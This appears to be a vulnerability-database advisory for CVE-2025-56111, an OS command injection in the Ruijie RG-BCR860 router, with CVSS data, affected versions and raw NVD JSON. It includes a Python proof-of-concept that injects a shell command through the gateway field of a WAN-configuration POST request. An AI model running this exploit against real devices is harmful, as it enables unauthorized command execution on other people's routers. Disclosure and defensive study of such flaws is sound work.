Security Vulnerability Report
中文
CVE-2025-56111 CVSS 8.8 HIGH

CVE-2025-56111

Published: 2025-12-11 19:15:57
Last Modified: 2026-01-07 20:27:40

Description

OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR860 allowing attackers to execute arbitrary commands via a crafted POST request to the network_set_wan_conf in file /usr/lib/lua/luci/controller/admin/netport.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-bcr860_firmware:2.5.13-r2224:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-bcr860:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-BCR RG-BCR860 (所有已知版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-56111 PoC - Ruijie RG-BCR RG-BCR860 OS Command Injection Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys target = "http://target-ip/" # Replace with target device IP def exploit(target_ip): """ Exploit OS Command Injection in network_set_wan_conf File: /usr/lib/lua/luci/controller/admin/netport.lua """ url = f"http://{target_ip}/cgi-bin/luci/admin/netport/network_set_wan_conf" # Payload: Inject command to create a test file # Attacker can replace 'touch /tmp/pwned' with any malicious command payload = "; touch /tmp/pwned #" data = { "wan_type": "dhcp", "mtu": "1500", "gateway": payload, # Command injection point "dns": "8.8.8.8" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "sysauth=valid_session_token" # Requires valid low-privilege session } try: print(f"[*] Sending exploit payload to {url}") response = requests.post(url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Check if /tmp/pwned was created on target device") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56111", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:56.803", "lastModified": "2026-01-07T20:27:40.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR860 allowing attackers to execute arbitrary commands via a crafted POST request to the network_set_wan_conf in file /usr/lib/lua/luci/controller/admin/netport.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-bcr860_firmware:2.5.13-r2224:*:*:*:*:*:*:*", "matchCriteriaId": "15B6D50D-12ED-44DF-8A58-721CC0BCBE07"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-bcr860:-:*:*:*:*:*:*:*", "matchCriteriaId": "AEB06D24-93E3-42B4-AD6C-5510F5B5EDDC"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EqEQemupso9DldgG-EcUI8IBLpEWP_S-f6vpeUtYztYYCg?e=gX4A10", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/ERJa0DnnR29MqtbLLRQirGYB4qA9dAdpn6eIJH9LwNlBmw?e=y6KkGo", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56111.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}